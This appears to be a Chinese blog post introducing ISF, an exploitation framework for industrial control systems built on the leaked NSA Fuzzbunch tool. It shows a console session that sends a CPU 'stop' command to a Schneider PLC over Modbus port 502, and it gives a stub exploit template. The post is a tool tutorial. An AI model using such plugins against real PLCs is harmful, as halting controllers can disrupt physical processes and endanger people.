一、 框架介绍

本框架主要使用Python语言开发,通过集成ShadowBroker释放的NSA工具Fuzzbunch攻击框架,开发一款适合工控漏洞利用的框架。由于Fuzzbunch攻击框架仅适用于Python2.6,很多核心的功能都封装成了DLL,通过函数进行调用,不便于后期的移植和使用。但是,Fuzzbunch的命令行使用的确很方便,而且够傻瓜,所以就有集成一个适合工控漏洞利用的框架想法。新框架对主要的接口使用Python重新实现,所以支持Python2.X版本。

肯定会有人问,有牛逼的MSF,搞这个玩竟儿有什么用?主要基于如下几点考虑

  • MSF命令行使用不够傻瓜,纯属个人观点,仅供参考。
  • 工控的很多私用协议都使用Python开发,有很多优秀的Python框架(如scapy、kitty),集成在MSF很麻烦,有一个Python的框架会方便很多。
  • 最主要的一个原因是,从事工控安全以来,本人一直在使用Python,很多脚本都是基于Python开发的,想将手上所有的资源进行整合,提供一个统一的平台,方便。

二、 框架使用

进入目录,执行如下命令:

python main.py

界面显示如下:

D:\isf\isf>python main.py

                               ???
???????????????
????? ?????
???? ????
???? ????
??? ???
??? ?? ???
??? ???????? ???
??? ??????????? ???
??? ????????????? ???
?? ??????????????? ??
?? ????????????????? ??
?? ?????? ????? ??
?? ??????????? ??
?? ??????????? ??
?? ????????? ??
??? ??????? ???
??? ????? ???
??? ??????????? ???
??? ????????????????? ???
??? ???????????????????? ???
?????????????????????????????
???????????????????????????
?????????????????????
---ICSMASTER--- + - - - - - + [ Version 1.1.1 ] + - - - - - +
+ - - - - - + [ MADE BY ICSMASTER. HTTP://ICSMASTER.COM ] + - - - - - + [*] Loading Plugins
[*] Initializing isf v1.1.1
[*] Adding Global Variables
[+] Set ResourcesDir =>. c:\isf\Resources
[+] Set Color =>. True
[+] Set ShowHiddenParameters =>. False
[+] Set NetworkTimeout =>. 60
[+] Set LogDir =>. D:\isf\isf\logs
[*] Autorun ON Exploit Autorun List
==================== 0) apply
1) touch all
2) prompt confirm
3) execute Payload Autorun List
==================== 0) apply
1) prompt confirm
2) execute [+] Set ISFStorage =>. D:\isf\isf\storage
isf >

show命令使用,显示当前所有的插件,如下所示

isf > show

Plugin Categories
================= Category Active Plugin
-------- -------------
Exploit None
Payload None isf > show Exploit Plugin Category: Exploit
======================== Name Version
---- -------
Schneider_CPU_Command 1.1.0
Siemens_300_400_CPU_Control 1.1.0

use命令使用,调用相关插件,并根据命令行提示配置参数,如下所示

isf > use Schneider_CPU_Command

[!] Entering Plugin Context :: Schneider_CPU_Command
[*] Applying Global Variables [*] Applying Session Parameters
[*] Running Exploit Touches [!] Enter Prompt Mode :: Schneider_CPU_Command Module: Schneider_CPU_Command
============================= Name Value
---- -----
TargetIp
TargetPort 502
Command stop [!] plugin variables are valid
[?] Prompt For Variable Settings? [Yes] : [*] TargetIp :: Target IP Address [?] TargetIp [] : 192.168.1.30
[+] Set TargetIp => 192.168.1.30 [*] TargetPort :: Target Port [?] TargetPort [502] :
[+] Set TargetPort => 502 [*] Command :: The control command of cpu [stop/start] [?] Command [stop] :
[+] Set Command => stop [!] Preparing to Execute Schneider_CPU_Command Module: Schneider_CPU_Command
============================= Name Value
---- -----
TargetIp 192.168.1.30
TargetPort 502
Command stop [?] Execute Plugin? [Yes] :
[*] Executing Plugin
logging to file
[+] Schneider_CPU_Command Succeeded

三、 EXP编写

编写一个EXP需要包含两个文件,一个参数描述性的文件 .xml 和 一个漏洞脚本文件 .py,两个文件的名字需要相同,xml定义输入输出的参数的基本信息,如下所示,EXP需要三个参数,分别是TargetIp、TargetPort、Command。注意:XML文件中 name 字段不能重复。

<?xml version="1.0"?>
<t:config id="c72514379eaad943b62f4080a5ae1dc61619f0f3"
name="Schneider_CPU_Command"
version="1.1.0"
configversion="1.1.0.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'> <t:inputparameters>
<t:parameter name="TargetIp"
description="Target IP Address"
type="IPv4"/>
<t:parameter name="TargetPort"
description="Target Port"
type="TcpPort"
default="502"/>
<t:parameter name="Command"
description="The control command of cpu [stop/start]"
type="String"
default="stop"/>
</t:inputparameters>
</t:config>

漏洞利用脚本编写方法如下,如果不清楚可以直接拷贝如下模板进行修改

1、继承基础类 BaseExploit 2、填写POC基础信息 pocinfo 3、注册命令行,向register_options变量增加make_option对象即可,注意参数名称需要与xml文件保持一致 4、实现exploit函数

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python
# coding=utf-8
from core.exploit import * class MyPoc(BaseExploit):
pocinfo = {
'ID': 'ICF-2017-000001',
'Name': '施耐德昆腾140系列PLC CPU控制',
'Author': 'w3h',
'Create_Date': '2017-04-09',
'Description': '''施耐德昆腾140系列PLC认证用户时Session使用是单比特,导致攻击者可以向PLC发送CPU控制指令。''', 'Vendor': VENDOR.SI,
'Device': ['Schneider Quantum 140'],
'App': '',
'Protocol': 'modbus',
'References': {'CVE': '', 'CNVD': '', 'OSVDB': '', 'CNNVD': ''}, 'Risk': RISK.H, # H/M/L
'VulType': VULTYPE.REP
} register_options = [
make_option('--TargetIp', action='store', dest='TargetIp',
type='string', default=None, help='The target of this poc.'),
make_option('--TargetPort', action='store', dest='TargetPort',
type='int', default=502, help='The port of this poc [default:502].'),
make_option('--Command', help='The constrol commond of cpu', dest="Command", default="stop"),
] def exploit(self, *args, **kwargs):
cmd = self.getParam("Command")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.TargetIp, self.TargetPort))
pass # POC标准入口函数
MainEntry(MyPoc, __name__)

工控漏洞利用框架 - ISF(Industrial Security Framework)的更多相关文章

  1. 自动化移动安全渗透测试框架:Mobile Security Framework

    自动化移动安全渗透测试框架:Mobile Security Framework 译/Sphinx  测试开发社区  7月3日 Mobile Security Framework (移动安全框架) 是一 ...

  2. 工控安全入门(七)—— plc的网络

    上一篇我们详细分析了bootram和Vxworks的基本启动流程,这篇文章中我们把视线转到plc的网络部分,同时来复现我们第一个.第二个工控安全漏洞. VxWorks的网络设备驱动 一般我们说有三种设 ...

  3. 7. Vulnerability exploitation tools (漏洞利用工具 11个)

    Metasploit于2004年发布时,将风暴带入了安全世界.它是开发,测试和使用漏洞利用代码的高级开源平台. 可以将有效载荷,编码器,无操作生成器和漏洞利用的可扩展模型集成在一起,使得Metaspl ...

  4. Nmap从探测到漏洞利用备忘录 – Nmap简介(一)

    在侦查期间,扫描一直是信息收集的初始阶段. 什么是侦查 侦查是尽可能多收集关于目标网络的信息.从黑客的角度来看,信息收集对于一次攻击非常有用,所以为了封锁恶意的企图,渗透测试者通常尽力查找这些信息,发 ...

  5. 工控随笔_09_西门子_S7-200 Smart与V20 USS通信USS_RPM_R利用轮询的方式通讯异常

    前两天处理过一个故障,是S7-200 Smart与V20的USS通讯,设备厂家在程序里面利 用USS_RPM _R程序循环轮询5个V20设备读取频率和电流值等信息. 图 USS_RPM_R读取信息 上 ...

  6. 工控随笔_07_西门子_WinCC利用命令行实现操作log日志

    在WinCC中可以通过报警纪录来实现操作员纪录,这个需要WinCC的消息系统进行组态和配置. 利用消息系统进行实现上诉功能不但复杂而且时间久啦也不方便查询.那么有没有一种简单的方法来 实现操作员纪录呢 ...

  7. 工控随笔_02_西门子_WinCC的IO域利用C脚本返回值

    WinCC的输入输出域用来显示信息或者接受操作人员的输入.当作为显示功能时,只有直接的变量连接 才能正常的显示,如果使用动态对话框进行设置且用了表达式则不能正确显示. 但是有时候我们在WinCC变量管 ...

  8. Kali Linux渗透基础知识整理(三):漏洞利用

    漏洞利用阶段利用已获得的信息和各种攻击手段实施渗透.网络应用程序漏洞诊断项目的加密通信漏洞诊断是必须执行的.顾名思义,利用漏洞,达到攻击的目的. Metasploit Framework rdeskt ...

  9. 工控安全入门之Ethernet/IP

    这一篇依然是协议层面的,协议层面会翻译三篇,下一篇是电力系统中用的比较多的DNP3.这一篇中大部分引用的资料都可以访问到,只有一篇reversemode.com上的writeup(http://rev ...

随机推荐

  1. CRM总结大纲

    目录 一. CRM客户关系管理系统 1. CRM是什么? 里面都有哪些功能(业务)? 2. 什么是公户?什么是私户?为什么要做这个区分? 3. 请列举出CRM系统中的表 4. 通过ORM操作对数据库的 ...

  2. JS GZIP压缩

    GZIP压缩,GZIP解压需要用到 pako.js 文件:下载地址:https://download.csdn.net/download/qq_35713752/10627338 使用方法: JS压缩 ...

  3. springboot-helloworld-idea

    1.file-new-project-Spring Initializr-next:输入项目信息-next:web-next-finish 2.创建controller包 3.创建StudyContr ...

  4. 【Hadoop】MapReduce自定义分区Partition输出各运营商的手机号码

    MapReduce和自定义Partition MobileDriver主类 package Partition; import org.apache.hadoop.io.NullWritable; i ...

  5. Windows WSL 安装OpenCV

    安装WSL 启动WSL功能 首先启动WSL功能,下面提供两个办法 Powershell --> 管理员权限 --> 运行 Enable-WindowsOptionalFeature -On ...

  6. 【HTML】常用的标签学习(2)

    现在的使用的html语言都是h5,但是h5也是从h4继承发展来的,所以h4的标签我们也要学习,然后加上h5新增的标签,那么html这门语言才算学习完毕.上次学习了h4的一些常用标签,今天学习h4剩下的 ...

  7. Books Exchange (easy version)   CodeForces - 1249B2

    The only difference between easy and hard versions is constraints. There are nn kids, each of them i ...

  8. button与subit区别

    submit介绍   submit是button的一个特例,也是button的一种,它把提交这个动作自动集成了.如果表单在点击提交按钮后需要用JS进行处理(包括输入验证)后再提交的话,通常都必须把su ...

  9. ERNIE学习笔记

    https://ai.baidu.com/forum/topic/show/954092 学习ERNIE的输入部分 输入 一共有五个部分组成,每个部分之间用分号;隔开: · token_ids:输入句 ...

  10. *【Python】【demo实验30】【练习实例】【使用Turtle实现实时时钟效果】

    目的: 使用Turtle实现实时时钟效果 源代码: # encoding=utf-8 # -*- coding: UTF-8 -*- import turtle from datetime impor ...